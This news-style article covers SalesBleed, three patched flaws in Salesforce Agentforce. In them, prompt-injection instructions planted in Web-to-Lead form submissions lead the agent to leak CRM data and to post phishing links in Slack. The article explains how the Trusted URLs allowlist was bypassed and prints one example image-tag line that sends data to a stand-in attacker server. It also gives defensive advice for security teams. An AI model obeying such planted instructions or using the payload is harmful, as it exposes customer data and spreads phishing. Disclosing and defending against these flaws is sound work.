The security of enterprise artificial intelligence agents faces a stark new test. Researchers at Zenity Labs have uncovered a trio of vulnerabilities in Salesforce Agentforce, the company’s flagship AI agent platform, that could let attackers siphon sensitive CRM data and launch phishing campaigns without so much as a single click from the target. Dubbed SalesBleed, these flaws expose a fundamental tension: as organizations race to deploy AI agents that can act autonomously on their behalf, the very mechanisms that make those agents useful also make them dangerously exploitable.
The attack chain is as elegant as it is alarming. It begins not with a brute-force assault or a sophisticated supply-chain compromise, but with something far more mundane: a simple Web-to-Lead form, the standard lead-collection tool that countless companies embed on their websites. By injecting malicious instructions into a lead submission, an attacker can plant a payload that lies dormant until an employee asks an Agentforce agent to interact with that submission. At that moment, the agent processes the poisoned lead and unwittingly executes the hidden commands, potentially exfiltrating customer records, sales data, and other confidential information stored in the Salesforce CRM.
How the SalesBleed Attack Chain Works
The three vulnerabilities identified by Zenity Labs fall into two broad categories. Two of them enable zero-click data exfiltration, meaning the attacker can extract CRM data without any further action from the victim once the poisoned lead is submitted. The third transforms an Agentforce agent into a weaponized social-engineering tool capable of distributing phishing messages across an organization’s internal Slack channels.
The zero-click exploits center on a security mechanism called Trusted URLs, which is designed to prevent Agentforce from displaying URLs or images from untrusted external sources. Zenity Labs found that this mechanism suffers from multiple weaknesses. First, it does not properly recognize top-level domains, allowing attackers to register domains that bypass the blocklist. Second, certain character sequences can tamper with URL parsing, tricking the mechanism into permitting connections to attacker-controlled servers. By embedding HTML image tags within a Web-to-Lead payload, an attacker can force Agentforce to fetch resources from those servers, and in doing so, transmit sensitive CRM data as part of the request.
What makes this particularly insidious is the timing of the exfiltration. Zenity Labs noted that Agentforce reports that the content has been blocked by the organization’s security policies only after the data has already been transmitted to the attacker-controlled server. The security mechanism fires too late, providing a false sense of protection while the breach is already in progress.
The Web-to-Lead Vector: A Trusted Entry Point Turned Weapon
Web-to-Lead forms occupy a unique position in the Salesforce ecosystem. They are explicitly designed to accept data from external, untrusted sources — anyone on the internet can submit a lead. This openness is intentional, but it creates a fundamental asymmetry. The form itself is trusted by the CRM, and any data it ingests is treated as legitimate until proven otherwise. When an Agentforce agent later queries that lead data, it does so with the full authority and access permissions of the employee who initiated the interaction, not the reduced privileges of the external submitter.
An attacker who understands this asymmetry can craft a lead that contains, alongside legitimate-looking fields, hidden instructions embedded in fields that the agent is programmed to read. These instructions might include commands to look up specific records, format them into a response, and then include that response in a URL request to an external server. Because the agent is acting on behalf of an authenticated user, it has the access rights to retrieve that data.
The attack does not require any vulnerability in the Agentforce core logic itself. Rather, it exploits the gap between what the system was designed to accept and what the agent was designed to do with that data. This is a class of vulnerability that is likely to recur across many AI agent platforms that ingest user-supplied content and then act on it with elevated privileges.
Trusted URLs: A Mechanism That Could Not Keep Up
The Trusted URLs feature is Salesforce’s attempt to solve a genuinely difficult problem. AI agents need to be able to display web content — images, links, previews — but they must be prevented from exfiltrating data to unauthorized destinations. Salesforce implemented a domain-based allowlist that blocks agents from rendering resources from domains not explicitly approved by the organization’s administrators.
Zenity Labs found that this allowlist had two critical blind spots. The first was a failure to correctly parse top-level domains. In practice, this meant that an attacker could register a domain that, from the agent’s perspective, appeared to belong to an allowed top-level domain when it actually did not. The precise mechanics of this bypass involve edge cases in how domain names are validated, and Zenity Labs has not released full technical details to allow organizations time to patch. But the implication is clear: the domain-blocking logic had gaps that could be systematically exploited.
The second blind spot involved character sequences that caused the URL parser to misinterpret the destination. By inserting specific characters — such as the at sign (@) or encoded newlines — an attacker could make a malicious URL appear to point to a trusted domain while the actual request went elsewhere. This is a well-known class of URL parsing vulnerability that has plagued browsers and email clients for years, but its appearance in an AI agent security mechanism is a reminder that these systems inherit all the legacy flaws of the web infrastructure they rely on.
Together, these two weaknesses meant that an attacker who submitted a poisoned lead could include an HTML image tag like <img src="https://attacker-controlled-server.com/steal?data={CRM_DATA}">codecodecodecodecode. When the agent processed the lead and rendered a response that included this tag, the browser would automatically make a GET request to the attacker’s server, carrying the CRM data as a query parameter. No user interaction required. No click. No warning until after the data was gone.
The Slack Integration: From AI Agent to Phishing Machine
The third SalesBleed vulnerability targets a different attack surface: the integration between Agentforce and Slack. Many organizations connect their AI agents to Slack so that employees can interact with them directly from their messaging workspace. This integration is intended to boost productivity, but Zenity Labs discovered that it also opens a powerful new vector for social engineering.
When an Agentforce agent posts a message in Slack that contains a link, Slack automatically retrieves metadata from that link to generate a rich preview. This automatic preview mechanism is the key to the third exploit. By submitting a Web-to-Lead payload that includes a specially constructed link, an attacker can cause Slack to initiate a request to an attacker-controlled server the moment the link appears in a channel. That request can carry CRM data in the same way as the image-tag exfiltration. The attack is zero-click from the perspective of the human user: simply having the agent post the message is enough to trigger the data transmission.
More concerning still is the phishing angle. Zenity Labs found that when an Agentforce agent posts a message to Slack, the message appears to come from the agent itself — a trusted system that operates inside the organization’s workspace. The agent does not identify the original user who submitted the lead that triggered the message. An attacker can therefore hijack the agent’s identity and post messages that appear to be official system notifications. Employees who receive a message from a trusted system already operating inside their workplace are far more likely to click on links than they would be if the same message came from an unfamiliar outside sender.
If an employee follows a phishing link and surrenders their credentials, the attacker gains access not only to Slack but potentially to email, source code repositories, and other enterprise applications available through the compromised identity. The agent’s trusted status becomes a force multiplier for the attack, turning a single credential compromise into a broad lateral movement opportunity.
Timeline of Disclosure and Remediation
Zenity Labs reported the three SalesBleed vulnerabilities to Salesforce on June 1. Salesforce confirmed receipt and began working on fixes. By August 19, the company had addressed all three bugs, deploying patches to the Agentforce platform and its associated integrations. Organizations using Agentforce did not need to take manual action to apply the patches, as Salesforce handles updates to its cloud services centrally.
The relatively quick turnaround — roughly two and a half months from disclosure to remediation — reflects the seriousness with which Salesforce treated the findings. However, the vulnerabilities underscore a broader challenge for the entire customer relationship management ecosystem. Agentforce is not an isolated product; it is deeply integrated with Sales Cloud, Service Cloud, Marketing Cloud, Slack, and numerous third-party applications through the AppExchange. Each integration point is a potential attack surface, and the complexity of the overall system makes comprehensive security validation extraordinarily difficult.
Salesforce declined to comment on whether any exploitation of these vulnerabilities had been detected in the wild prior to the patches. Organizations that were using Agentforce during the June-to-August window should review their access logs for anomalous outbound connections to unfamiliar domains, particularly connections that originated from Agentforce agent activity following Web-to-Lead submissions.
What the SalesBleed Vulnerabilities Mean for the Future of AI Agents in the Enterprise
The SalesBleed disclosures arrive at a pivotal moment for enterprise AI adoption. Salesforce has positioned Agentforce as a centerpiece of its product strategy, investing heavily in agentic capabilities that can autonomously handle sales tasks, service interactions, and marketing workflows. Competing platforms from Microsoft, Oracle, SAP, and a host of startups are pursuing similar visions. The promise is compelling: AI agents that can qualify leads, update records, draft communications, and coordinate across teams without requiring human intervention at every step.
But the SalesBleed vulnerabilities reveal a critical blind spot in this vision. AI agents are only as trustworthy as the data they consume, and enterprise data pipelines are riddled with untrusted entry points. A Web-to-Lead form is just one example. Chat widgets, email ingestion, API endpoints, file uploads, and third-party integrations all present similar risks. Every input channel that accepts untrusted data is a potential injection point, and every agent action triggered by that data is a potential exfiltration or manipulation vector.
The traditional security model for enterprise software assumes that human users are the primary decision-makers and that automated processes operate within tightly constrained boundaries. AI agents upend that assumption. They are autonomous by design, and their autonomy is their value proposition. But autonomy without robust input validation, output sanitization, and context-aware access controls is a recipe for disaster.
Salesforce’s Trusted URLs mechanism was an attempt to impose one of those controls, but as Zenity Labs demonstrated, it was not sufficient. The mechanism failed not because it was fundamentally unsound but because the edge cases in URL parsing and domain validation are notoriously difficult to handle correctly. This is a problem that has plagued email security for decades, and its appearance in AI agent security suggests that the industry may need to develop entirely new approaches to content security rather than reusing legacy techniques that were never designed for autonomous systems.
Practical Implications for Security Teams and Salesforce Administrators
Organizations that use Salesforce Agentforce should treat the SalesBleed disclosures as a warning about the broader attack surface that AI agents introduce. Even though the specific vulnerabilities have been patched, the underlying patterns that enabled them are likely to persist in other forms. Security teams should consider several concrete actions.
First, review all Web-to-Lead forms and assess whether they are necessary. Each form is an attack surface. If a form can be replaced with an authenticated submission mechanism — such as a Salesforce Community portal that requires login — that eliminates the untrusted-input problem. Where Web-to-Lead forms are unavoidable, consider adding a human review step before any agent processes the submitted data, or at minimum before the agent can take actions based on that data.
Second, audit the Trusted URLs configuration and ensure that it uses the most restrictive possible settings. Zenity Labs’ findings suggest that administrators should not rely solely on domain allowlisting as a security boundary. Additional controls, such as content security policies at the network level and outbound webhook monitoring, can provide defense in depth.
Third, review the Slack integration configuration. Determine which channels Agentforce agents can post to and whether any automated link-preview or link-fetching behavior is necessary. If link previews can be disabled for agent-posted messages, that closes the exfiltration path through Slack. If they cannot be disabled, monitor for anomalous outbound requests from Slack’s link-preview infrastructure.
Fourth, implement logging and alerting for agent actions. Salesforce provides event monitoring and real-time event monitoring capabilities that can track agent-initiated API calls, data retrievals, and message posts. Configure alerts for patterns that match the SalesBleed attack profile: a Web-to-Lead submission followed by an agent-initiated outbound HTTP request to a domain that has never been contacted before.
Finally, consider the human factor. The phishing vulnerability in the Slack integration is a reminder that AI agents can become trusted identities within the organization, and that trust can be weaponized. Training programs should include scenarios in which a trusted system — not just an unfamiliar sender — delivers a suspicious link. Employees need to understand that AI agents can be compromised, and that a message from an agent is not automatically safe.
The Broader Accountability Question
The SalesBleed vulnerabilities also raise questions that extend beyond the technical. When an AI agent exfiltrates customer data, who is responsible? The organization that deployed the agent? The vendor that built the platform? The developer who configured the Web-to-Lead form? Current legal and regulatory frameworks are not well equipped to answer these questions. The European Union’s AI Act and other emerging regulations attempt to assign liability along the AI value chain, but the specifics of how they apply to agentic systems that ingest untrusted data and act autonomously remain unclear.
For now, the burden falls largely on the organizations that deploy these systems. They are the ones responsible for the data they hold, and they are the ones who will face regulatory fines, customer lawsuits, and reputational damage if that data is compromised, regardless of whether the root cause was a vulnerability in a vendor’s platform. The SalesBleed disclosures should serve as a catalyst for organizations to demand better security guarantees from their AI platform providers — not just patches after vulnerabilities are found, but architectural designs that make entire classes of attack impossible from the start.
The zero-click nature of the SalesBleed exploits is particularly troubling because it eliminates the human safety net. In traditional phishing attacks, an alert user might notice something amiss and refrain from clicking. In zero-click attacks, there is no moment of decision. The data exfiltration happens automatically, silently, and irrevocably the moment the agent processes the poisoned input. Defending against this requires security controls that operate at machine speed, before the exfiltration occurs, not after.
As AI agents become more capable and more autonomous, the attack surface they present will only grow. The SalesBleed vulnerabilities are an early warning, not a final verdict. They show that the security industry has work to do in adapting its tools and techniques to a world where the most dangerous attacker may not be a person at all, but a trusted system acting on instructions that no human ever saw.
- What is SalesBleed?SalesBleed is a set of three vulnerabilities in Salesforce Agentforce that allow zero-click data exfiltration and phishing attacks via Web-to-Lead forms.
- How does the SalesBleed attack work?Attackers inject malicious instructions into Web-to-Lead form submissions, which are executed by Agentforce agents when they process the lead, leading to data theft and phishing.
- What are the two categories of vulnerabilities?Two vulnerabilities enable zero-click data exfiltration, while the third weaponizes Agentforce to distribute phishing messages in Slack.
